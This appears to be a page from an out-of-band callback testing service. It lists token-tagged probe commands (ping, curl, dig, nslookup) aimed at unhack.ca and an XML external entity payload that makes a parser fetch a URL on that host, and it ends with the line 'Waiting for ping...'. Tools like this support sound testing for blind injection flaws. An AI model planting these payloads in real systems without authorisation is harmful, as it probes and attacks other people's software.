$ ping -c1 -p 00346ada4bcc09042ce7fae5f3c77d00 unhack.ca
 
$ curl http://unhack.ca/p/346ada4bcc09042ce7fae5f3c77d
 
$ dig 346ada4bcc09042ce7fae5f3c77d @unhack.ca
 
$ dig 346ada4bcc09042ce7fae5f3c77d.ns.unhack.ca
 
C:\> nslookup 346ada4bcc09042ce7fae5f3c77d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/346ada4bcc09042ce7fae5f3c77d">]>
    <foo>&xxe;</foo>
Waiting for ping...